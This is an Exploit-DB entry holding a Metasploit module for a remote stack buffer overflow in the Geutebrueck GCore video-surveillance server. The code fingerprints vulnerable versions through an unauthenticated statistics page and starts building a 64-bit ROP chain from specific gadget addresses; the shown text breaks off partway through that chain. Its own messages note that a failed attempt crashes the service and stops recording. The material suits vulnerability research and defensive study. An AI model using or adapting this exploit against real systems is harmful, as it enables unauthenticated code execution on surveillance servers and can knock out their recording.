Exploit-DB #41153
Description: Geutebrueck GCore 1.3.8.42/1.4.2.37 - Remote Code Execution (Metasploit)
Type: remote
Platform: windows
Date: 2017-01-24
Author: Maurice Popp

Exploit:
# Exploit Title: Geutebrueck GCore X64 Full RCE Bufferoverflow for Metasploit
# Date: 20170125
# Exploit Author: Luca Cappiello, Maurice Popp
# Contact(Twitter): @dopa_mined, @_m4p0
# Github: https://github.com/m4p0/Geutebrueck_GCore_X64_RCE_BO
# Vendor Homepage: http://www.geutebrueck.com/en_US/product-overview-31934.html
# Software Link: None
# Version: 1.3.8.42/1.4.2.37
# Tested on: Win7, Win8/8.1, Win2012R2
# CVE : None
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'nokogiri'
require 'open-uri'

class MetasploitModule < Msf::Exploit::Remote
    include Msf::Exploit::Remote::Tcp

    Rank = NormalRanking

    def initialize(info = {})
        super(update_info(info,
                          'Name'		   => 'Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE',
                          'Description'	=> 'This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe). The vulnerable webserver is running on Port 13003 and Port 13004, does not require authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).',
                          'License'		=> MSF_LICENSE,
                          'Author'		 =>
                          [
                              'Luca Cappiello',
                              'Maurice Popp'

                          ],
                          'References'	 =>
                          [
                              ['www.geutebrueck.com', '']
                          ],
                          'Platform'	   => 'win',
                          'Targets'		=>
                          [
                              ['Automatic Targeting', { 'auto' => true, 'Arch' => ARCH_X86_64 }],
                              ['GCore 1.3.8.42, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X86_64 }],
                              ['GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X86_64 }]
                          ],
                          'Payload'		=>
                          {
                              'Space' => '2000'
                          },
                          'Privileged'	 => false,
                          'DisclosureDate' => 'Sep 01 2016',
                          'DefaultTarget'  => 0))
    end

    def fingerprint
        print_status('Trying to fingerprint server with http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml...')
        @doc = Nokogiri::XML(open('http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml'))
        statistics = @doc.css('modulestate')
        statistics.each do |x|
            if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
                mytarget = targets[1]
                # print_status(mytarget.name)
                print_status("Vulnerable version detected: #{mytarget.name}")
                return Exploit::CheckCode::Appears, mytarget
            elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
                mytarget = targets[2]
                # print_status(mytarget.name)
                print_status("Vulnerable version detected: #{mytarget.name}")
                return Exploit::CheckCode::Appears, mytarget
                end
        end
        print_status('Statistics Page under http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml is not available.')
        print_status("Make sure that you know the exact version, otherwise you'll knock out the service.")
        print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
        print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
        [Exploit::CheckCode::Unknown, nil]
    end

    def check
        fingerprint
    end

    def ropchain(target)
        if target.name.include? '1.3.8.42'
            print_status('Preparing ROP chain for target 1.3.8.42!')

            # 0x140cd00a9 | add rsp, 0x10 ; ret
            # This is needed because the next 16 bytes are sometimes messed up.
            overwrite = [0x140cd00a9].pack('Q<')

            # These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
            stack_align = "\x43" * 16

            # We have 40 bytes left to align our stack!
            # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
            # and to restore it.
            # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.

            # 0x1404e5cbf: mov edx, esp ; ret
            stack_align += [0x1404e5cbf].pack('Q<')

            # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
            # We pop -XXXXX as \xxxxxxxxx to rax
            # 0x14013db94  pop rax ; ret
            stack_align += [0x14013db94].pack('Q<')
            stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')

            # Our value is enough.
            # 0x1407dc547  | add rax,rdx ; ret
            stack_align += [0x1407dc547].pack('Q<')

            # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
            # 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
            stack_align += [0x140ce9ac0].pack('Q<')

            # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
            # We want RCX to hold the value for VP Argument "Address of Shellcode"
            # 0x140cc2234 |  mov rcx